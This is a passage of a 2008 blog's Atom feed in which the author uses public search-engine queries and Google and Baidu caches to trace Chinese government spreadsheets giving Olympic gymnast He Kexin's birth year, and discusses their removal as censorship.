Archive&lt;/a&gt; is a U.S. based non-profit organization which &lt;a href="http://www.archive.org/about/about.php"&gt;collaborates with the Smithsonian and the Library of Congress&lt;/a&gt; in its mission to perform historical web document preservation. This is just one more document source to pile on top of Google, Google.cn and Baidu. Take a look at the Google Translated version of the Internet Archive's copy of this document, and try to look up He Kexin's age for yourself: &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2Fweb.archive.org%2Fweb%2F20070630205138%2Fhttp%3A%2F%2Fwww.sport.gov.cn%2Fshow_info.php%3Fn_id%3D14342&amp;hl=en&amp;ie=UTF8&amp;sl=zh-CN&amp;tl=en"&gt;Link&lt;/a&gt;&lt;br /&gt;-Stryde&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;Grace Xiong said...&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;I am a Chinese girl.After scanning your articles,I must say I take my hat off to you,for your spirits and efforts to find a truth.Many many Chinese are supporting your behavior.The olympic should not be cheated!But there is one thing I have to tell you (after seeing some comments on your blog..) ,China isn't as some dear westerners'thinking that she is a autocratic, no-human-rights country.She is a great and magic country,and her people are very kind. Her people have the freedom to say whatever they want. People like you will get many respects here and Chinese government will not do someting bad to a person who is praiseworthy. I am at home now(you can check my ip,I am in Hangzhou,Zhejiang province),I can surf the internet ,scan your article,leave my comment just as all of you,it may be another truth people should accept. Thank you all the same ,for what efforts you have made for a better China!&lt;/p&gt;&lt;i&gt;Grace's post speaks for itself. -Stryde&lt;/i&gt;&lt;br /&gt;&lt;h3&gt;What now?&lt;/h3&gt;&lt;p&gt;I believe the media wave has at last crested. From here, hopefully, I can continue to focus again on this research and where it leads.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-4443922207180001128?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lhpCsysPQYJeRY61CrW71YclnRo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lhpCsysPQYJeRY61CrW71YclnRo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lhpCsysPQYJeRY61CrW71YclnRo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lhpCsysPQYJeRY61CrW71YclnRo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/Fqe8JWPCsTg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/4443922207180001128/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=4443922207180001128" title="34 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/4443922207180001128?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/4443922207180001128?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/Fqe8JWPCsTg/citizen-journalists-take-lead.html" title="Citizen Journalists Take the Lead" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>34</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/citizen-journalists-take-lead.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUYCSHk5fSp7ImA9WxdaE0o.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-638241764948628168</id><published>2008-08-21T18:28:00.000-07:00</published><updated>2008-08-21T19:46:09.725-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-21T19:46:09.725-07:00</app:edited><title>The day after the Day After</title><content type="html">&lt;h3&gt;Fifteen minutes is a really long time&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;First an apology for not updating this blog in a timely fashion, for not responding to all my emails, and for the delay in approving comments. In my defense I can say only that I have found my blog and my findings at the center of an international media maelstrom. I never set out to change the course of the Olympics; I set out as I always do, a curious researcher, intent on the search for truth and the knowledge I could acquire along the way.&lt;/p&gt;&lt;p&gt;A thank you is in order to everyone who has helped me to catalog and establish the existence of these documents. There are so many of you now, I don't know how I can thank you all. But I believe that you have acted in a spirit of truth-finding and openness, and I thank you for that.&lt;/p&gt;&lt;p&gt;I have received a flood of information through my email in the last few days, and I'm way too behind to list all of it. However I feel it is a priority to mention that I am not the first blogger to have started investigating this controversy, and there are rumors that people within China have been blogging on this topic in the weeks preceding my post. Specifically &lt;a href="http://www.wretch.cc/blog/billypan101/11740056"&gt;this blog by BillyPan&lt;/a&gt; is full of meticulously archived screenshots, news clippings and web pages, and while I can't read the language, the pictures tell a very detailed story. I encourage everyone to have a look.&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;And now for a bit more content&lt;/h3&gt;&lt;p&gt;I've gotten a lot of feedback about the appropriate way to get all three documents, &lt;i&gt;still available from the Baidu cache at the time of this posting&lt;/i&gt;, into Google Translate correctly. The missing link here is that when you first copy the information out of the spreadsheets, they are covered in quote and comma characters, which messes up the translation. Groom out the punctuation and enter it into the translation box and you should end up with something like the screenshot below:&lt;/p&gt; &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/SK4boTKudZI/AAAAAAAAAB4/o44Hv8W8Kww/s1600-h/all-translated.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_bkUaeM7papk/SK4boTKudZI/AAAAAAAAAB4/o44Hv8W8Kww/s320/all-translated.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5237153795832444306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;That's the three lines in question, from the three documents in question. At this point, I'm going to take a step back, let the experts analyze these documents, and see what the consensus is. I've done my part; citizen journalists of the world, this story is yours now!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-638241764948628168?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ocYcJ2cbQB0s75u8dt-ZwrHeDzg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ocYcJ2cbQB0s75u8dt-ZwrHeDzg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ocYcJ2cbQB0s75u8dt-ZwrHeDzg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ocYcJ2cbQB0s75u8dt-ZwrHeDzg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/o5dltSOzmn8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/638241764948628168/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=638241764948628168" title="34 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/638241764948628168?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/638241764948628168?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/o5dltSOzmn8/day-after-day-after.html" title="The day after the Day After" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_bkUaeM7papk/SK4boTKudZI/AAAAAAAAAB4/o44Hv8W8Kww/s72-c/all-translated.jpg" height="72" width="72" /><thr:total>34</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/day-after-day-after.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04MRH4-eSp7ImA9WxRTFE0.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-2484194654085740005</id><published>2008-08-20T11:06:00.000-07:00</published><updated>2008-09-02T19:46:25.051-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-02T19:46:25.051-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="baidu" /><category scheme="http://www.blogger.com/atom/ns#" term="streisandeffect" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="olympics" /><title>Olympic Hacking Part II - Let's go for the Gold</title><content type="html">&lt;h3&gt;The Day After&lt;/h3&gt;&lt;p&gt;This blog has gotten a lot of feedback in the last 24 hours. If you haven't read the &lt;a href="http://strydehax.blogspot.com/2008/08/hack-olympics.html"&gt;original story&lt;/a&gt;, read that first to catch up. Today, the story continues.&lt;/p&gt;&lt;p&gt;In addition to the outpouring of mirrors and support for preserving the information I discovered, I've also received some very helpful information from other Google hackers. Specifically, I was encouraged to check out the Chinese version of Google: google.cn. Presented here are the results, not all of which I can take credit for.&lt;/p&gt;&lt;h3&gt;What about google.cn?&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;When I woke up this morning, I ran my existing search string against google.cn. Interestingly, I got back two spreadsheet results: the original spreadsheet I blogged about, zctc.xls, and a new spreadsheet I hadn't previously discovered, 05ticao.xls. Here's a screenshot.&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/SKxdy7epPlI/AAAAAAAAABI/Hq86PcLE4CU/s1600-h/p2googlecnBefore.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bkUaeM7papk/SKxdy7epPlI/AAAAAAAAABI/Hq86PcLE4CU/s320/p2googlecnBefore.jpg" alt="" id="BLOGGER_PHOTO_ID_5236663596266110546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;A few hours later after moderating comments, I refreshed my search. And wow, was it eye opening.&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/SKxd6vqJSPI/AAAAAAAAABQ/1vUwqhXks2I/s1600-h/p2googlecnAfter.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bkUaeM7papk/SKxd6vqJSPI/AAAAAAAAABQ/1vUwqhXks2I/s320/p2googlecnAfter.jpg" alt="" id="BLOGGER_PHOTO_ID_5236663730532075762" border="0" /&gt;&lt;/a&gt;&lt;p&gt;Expunged entirely from google.cn's search index is my original find, zctc.xls. Down the memory hole. If the documents are false, why remove them? Why wipe their existence from the search index? I was intrigued. I decided to follow the trail of the second spreadsheet, 05ticao.xls.&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/SKxeyfyjxxI/AAAAAAAAABw/EJtVYMKR-BM/s1600-h/p2another404.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bkUaeM7papk/SKxeyfyjxxI/AAAAAAAAABw/EJtVYMKR-BM/s320/p2another404.jpg" alt="" id="BLOGGER_PHOTO_ID_5236664688345073426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Always one step ahead of me, the document was again missing from its original home, the home page of the General Administration of Sport of China. Undeterred, I decided to look again to Baidu to see if I could retrieve the results.&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/SKxeWc57UlI/AAAAAAAAABo/65DbIj7pRpY/s1600-h/p2baiducache.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bkUaeM7papk/SKxeWc57UlI/AAAAAAAAABo/65DbIj7pRpY/s320/p2baiducache.jpg" alt="" id="BLOGGER_PHOTO_ID_5236664206534333010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Could it be? More documentation? I followed the document cache link...&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/SKxeKt9baaI/AAAAAAAAABg/_wEsbAQjvLY/s1600-h/p2moreproof.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_bkUaeM7papk/SKxeKt9baaI/AAAAAAAAABg/_wEsbAQjvLY/s320/p2moreproof.jpg" alt="" id="BLOGGER_PHOTO_ID_5236664004953991586" border="0" /&gt;&lt;/a&gt;&lt;p&gt;There's He Kexin again, listed with a birthday of 1-1-1994, fourteen years old. Running that line through Google Translate, the chances of a case of mistaken identity diminish rapidly:&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/SKxeDAuz51I/AAAAAAAAABY/4elhC39ZHnI/s1600-h/p2theresheis.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bkUaeM7papk/SKxeDAuz51I/AAAAAAAAABY/4elhC39ZHnI/s320/p2theresheis.jpg" alt="" id="BLOGGER_PHOTO_ID_5236663872554002258" border="0" /&gt;&lt;/a&gt;&lt;pre&gt;799, BB He Kexin CC female AA 1994.1.01  Beijing and&lt;br /&gt;Beijing Beijing Municipal Sports Bureau, First Note &lt;/pre&gt;&lt;p&gt;It is my suspicion that First Note is a mistranslation of First Place, as her world class gymnastics record speaks for itself. For those working to cache these documents, the direct link to the Baidu cache, for as long as it lasts, is here: &lt;a href="http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7227e8a905368d4e41dce204c413037bfa673794e5392d8242140b2090bbff03470301e22b0dd93d91980ac925f65d666203541c6171d965ceadc46528062cd1aafb81990efad7684aea582834907910d523b9da8cd1b1d549d3af01633e4bb9b4f530441e9b0276588132968&amp;amp;p=9e64c54ad6b105fc57ecc00c4e&amp;amp;user=baidu"&gt;cache link&lt;/a&gt; (&lt;b&gt;update&lt;/b&gt; Baidu cache is dead now, here's a &lt;a href="http://www.heathershow.com/media/05ticao.htm"&gt;mirror at heathershow.com&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Conclusions&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;What is this post really about? I don't really feel that it's about the gymnastics age limit, or even really about whether fraud occurred. At this point, I believe that any reasonable observer already understands that age records have been forged. This story now is really about Internet censorship, the act of removing evidence while at the same time claiming that the evidence is wrong. For the first time I watched search records shift under my feet like sand, facts draining down a hole in the Internet. Will this stand?&lt;/p&gt;&lt;p&gt;For those interested in pursuing facts on their own, I should at this point cite my inspiration. If &lt;a href="http://johnny.ihackstuff.com/"&gt;Johnny&lt;/a&gt; is the godfather of Google hacking, then his &lt;a href="http://www.amazon.com/Google-Hacking-Penetration-Testers-1/dp/1931836361/"&gt;seminal book on the subject&lt;/a&gt; can be considered the bible of the field. There's nothing I've done here that you can't teach yourself from that book. Who knows what else &lt;a href="http://www.hackersforcharity.org/"&gt;can be accomplished&lt;/a&gt;; I am one, but You are Many. Good luck.&lt;br /&gt;&lt;/p&gt;&lt;hr&gt;&lt;h3&gt;Updates&lt;/h3&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The power of crowds is already hard at work. Check out this link found by Digg user Karate3409, posted in the &lt;a href="http://digg.com/olympics/Stryde_Hax_Hack_the_Olympics"&gt;Digg story&lt;/a&gt; on this blog: &lt;a href="http://translate.google.com/translate?u=http%3A%2F%2F64.233.167.104%2Fsearch%3Fq%3Dcache%3AlKKNqX5NgnwJ%3Awww.sport.chengdu.gov.cn%2Fescpecial%2Fdetail.asp%253FEventClassID%253D030308%2526ID%253D28022%2Bsite%3Acn%2B%25E4%25BD%2595%25E5%258F%25AF%25E6%25AC%25A3%2B1994%2B%252B.gov%26hl%3Den%26ct%3Dclnk%26cd%3D3%26gl%3Dus&amp;amp;hl=en&amp;amp;ie=UTF8&amp;amp;sl=zh-CN&amp;amp;tl=en"&gt;Link&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;10 何可欣 He Kexin 女 F 1994 11 1994  1  1  北京体育局&lt;br /&gt;Beijing Sports Bureau 武汉体育局&lt;br /&gt;Wuhan Sports Bureau 2年 2 years&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That's a nice piece of research!&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;iframe src="http://rcm.amazon.com/e/cm?t=ihackstuff-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=as1&amp;amp;asins=1597491764&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="width: 120px; height: 240px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;p&gt;I have no affiliation with this book, make no money from referrals, and all profits from its sale go directly to the organization &lt;a href="http://www.hackersforcharity.org/"&gt;Hackers for Charity&lt;/a&gt;. If you want to know where I got my start, well, there you go.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-2484194654085740005?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/q1nJySYHe99pafMsiMILcoeHXwY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/q1nJySYHe99pafMsiMILcoeHXwY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/q1nJySYHe99pafMsiMILcoeHXwY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/q1nJySYHe99pafMsiMILcoeHXwY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/JZt4uY7yMso" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/2484194654085740005/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=2484194654085740005" title="97 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/2484194654085740005?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/2484194654085740005?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/JZt4uY7yMso/olympic-hacking-part-ii-lets-go-for.html" title="Olympic Hacking Part II - Let's go for the Gold" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_bkUaeM7papk/SKxdy7epPlI/AAAAAAAAABI/Hq86PcLE4CU/s72-c/p2googlecnBefore.jpg" height="72" width="72" /><thr:total>97</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2008/08/olympic-hacking-part-ii-lets-go-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4CQH4yfCp7ImA9WxdaGEw.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-3225564229470546132</id><published>2008-08-19T13:22:00.000-07:00</published><updated>2008-08-26T21:56:01.094-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-26T21:56:01.094-07:00</app:edited><title>Hack the Olympics!</title><content type="html">&lt;p&gt;There's been some &lt;a href="http://news.google.com/news?hl=en&amp;amp;nolr=1&amp;amp;q=chinese+gymnasts+age+controversy+kexin"&gt;widely publicized controversy&lt;/a&gt; regarding the competition age of the Chinese women's gymnastics team recently. Rather than be &lt;a href="http://www.google.com/search?q=%22don%27t%20be%20too%20cnn%22"&gt;too CNN&lt;/a&gt;, I decided to take a page from my friend &lt;a href="http://johnny.ihackstuff.com/"&gt;Johnny&lt;/a&gt; and investigate on my own. I have an Internet connection, that means I should be able to verify the age of the gymnasts in question with primary state-issued documents and find out for myself if someone's cheating, right? Right. Let's go to work.&lt;/p&gt;&lt;h3&gt;First, the rules. &lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Gymnasts must be 16 to compete. This means they must be born in 1992 or earlier.&lt;/li&gt;&lt;li&gt;Only publicly available, primary, linkable information can be used.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Who are we talking about?&lt;/h3&gt;&lt;p&gt;Let's take a look at &lt;a href="http://en.wikipedia.org/wiki/He_Kexin"&gt;He Kexin&lt;/a&gt; (何可欣). Her Chinese issued passport lists her birthday as 01/01/1992, 16 years old and old enough to compete. However, allegations cited on her Wikipedia page put her birthday as 01/01/1994, fourteen years old and not eligible for competition. Which is the truth? Let's find out.&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Let's ask Google!&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;First, we'll search all Chinese web sites for Excel spreadsheets containing He Kexin's name and the word 1994. (site:cn 何可欣 filetype:xls 1994). This seems like a pretty good search. Try it yourself! Here's what Google gives us back, one measly hit:&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bkUaeM7papk/SKswt0Ode9I/AAAAAAAAAAM/LbvljJGoShY/s1600-h/google-results-1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bkUaeM7papk/SKswt0Ode9I/AAAAAAAAAAM/LbvljJGoShY/s320/google-results-1.jpg" alt="" id="BLOGGER_PHOTO_ID_5236332555419876306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Wow, an Excel spreadsheet hosted on an official Chinese government web site (http://www.sport.gov.cn/files/jts/reg2006/zctc.xls) that contains the official birthday for He Kexin, awesome! Unfortunately, when you click on it, it's been removed.&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/SKsySfQEH5I/AAAAAAAAAAU/lxnJIGM2Cag/s1600-h/google-results-404.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bkUaeM7papk/SKsySfQEH5I/AAAAAAAAAAU/lxnJIGM2Cag/s320/google-results-404.jpg" alt="" id="BLOGGER_PHOTO_ID_5236334284956245906" border="0" /&gt;&lt;/a&gt;&lt;p&gt;That's strange. Fortunately, we can click on "View as HTML" in the Google cache and see it. However, even though the Google search results indicate that He Kexin is listed in the spreadsheet, when you view Google's cached version, her name no longer appears.&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/SKsyd43bZnI/AAAAAAAAAAc/b-lYB5YRtEo/s1600-h/google-results-no-hexin.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_bkUaeM7papk/SKsyd43bZnI/AAAAAAAAAAc/b-lYB5YRtEo/s320/google-results-no-hexin.jpg" alt="" id="BLOGGER_PHOTO_ID_5236334480810796658" border="0" /&gt;&lt;/a&gt;&lt;p&gt; What a strange software bug!?!? Oh well, I guess we should give up. Right?&lt;br /&gt;&lt;/p&gt;&lt;h3&gt;What if we don't give up easy though?&lt;/h3&gt;&lt;br /&gt;What about Baidu? Baidu is a Chinese language search engine with its own cache and search index. It's different than google. So what if we run the same search on Baidu? Here's the Baidu results, as of today, for the same search string: (site:cn 何可欣 filetype:xls 1994). For those who don't speak Search Engine, that's all Excel spreadsheets in China that contain He Kexin's name and the string 1994. So, here's Baidu:&lt;p&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/SKs1PCiHGnI/AAAAAAAAAAk/u6LGd6DP3-I/s1600-h/baidu-results-hexin.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bkUaeM7papk/SKs1PCiHGnI/AAAAAAAAAAk/u6LGd6DP3-I/s320/baidu-results-hexin.jpg" alt="" id="BLOGGER_PHOTO_ID_5236337524242586226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;Interesting. Baidu lists TWO spreadsheets at sport.gov.cn with Kexin's name. Not surprisingly, the new one discovered by Baidu has been been deleted as well:&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/SKs1isqptBI/AAAAAAAAAAs/fpWUIyi2uBI/s1600-h/baidu-another-missing-page.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bkUaeM7papk/SKs1isqptBI/AAAAAAAAAAs/fpWUIyi2uBI/s320/baidu-another-missing-page.jpg" alt="" id="BLOGGER_PHOTO_ID_5236337861970211858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;But what about the Baidu cache? If you click on the "HTML" link next to these XLS documents on Baidu (do it yourself!) you can access a cached copy of the document. This means that it was fully available... &lt;i&gt;until recently&lt;/i&gt;. So, does Baidu's copies of these documents have anything to say about Ms. Kexin? &lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bkUaeM7papk/SKs2JZXJxyI/AAAAAAAAAA0/tIgKHY6G0e0/s1600-h/baidu-busts-google.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_bkUaeM7papk/SKs2JZXJxyI/AAAAAAAAAA0/tIgKHY6G0e0/s320/baidu-busts-google.jpg" alt="" id="BLOGGER_PHOTO_ID_5236338526803052322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bkUaeM7papk/SKs2VLMl8BI/AAAAAAAAAA8/Y164K2Hq0uw/s1600-h/baidu-busted1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bkUaeM7papk/SKs2VLMl8BI/AAAAAAAAAA8/Y164K2Hq0uw/s320/baidu-busted1.jpg" alt="" id="BLOGGER_PHOTO_ID_5236338729159094290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;In the Baidu cache, which apparently has not been hit with the scrub brush (yet), two spreadsheets published by the Chinese government on sport.gov.cn both list He Kexin's birthday as 01-01-1994, making her 14 years old. For as long as these links work, you can access the documents directly, either using the directions and screenshots above, or these links: &lt;a href="http://cache.baidu.com/c?m=9f65cb4a8c8507ed4fece763105392230e54f7227e8a905368d4e41dce204c413037bfa673794e5392d8242140b20a17a2a17d247c1e68e6dd999f4aaaf1cc693bcd7a742613913161c468d8dc4755d650e44d98a40e91b8e74391b9d2a2dc5f58cc&amp;p=882a97128c805ffc57ecd3214f&amp;user=baidu"&gt;cache1&lt;/a&gt; &lt;a href="http://cache.baidu.com/c?m=9d78d513d9d431dc4f9ce3690c66c0166d43f1682ba1d2020ed68448e267504a4172a4fb792d4a4295876b6672b25419afb52172404262eadb8e9f4aaaeecf6c388850652c01d21a4c8458b2930064dc60c70fe9ad1be3a7b863d5ffc5d3a81e0d8b&amp;p=8b2a941786cc43f113fecb3146&amp;user=baidu"&gt;cache2&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Conclusions&lt;/h3&gt;&lt;p&gt;How official are these documents? Pretty dang official - they were issued by the &lt;a href="www.sport.gov.cn"&gt;General Administration of Sport of China&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Much of the coverage regarding Kexin's age has only mentioned "allegations" of fraud, and the IOC has ignored the matter completely. I believe that these primary documents, issued by the Chinese state, directly available from China by clicking on the links above rise to a level of evidence higher than "allegation". The following points bear mentioning:&lt;/p&gt;&lt;ol&gt;&lt;li&gt; Google's cached copy of the spreadsheet does not contain Kexin's age record, and Baidu's does. This does not necessarily imply that Google allowed its data to be 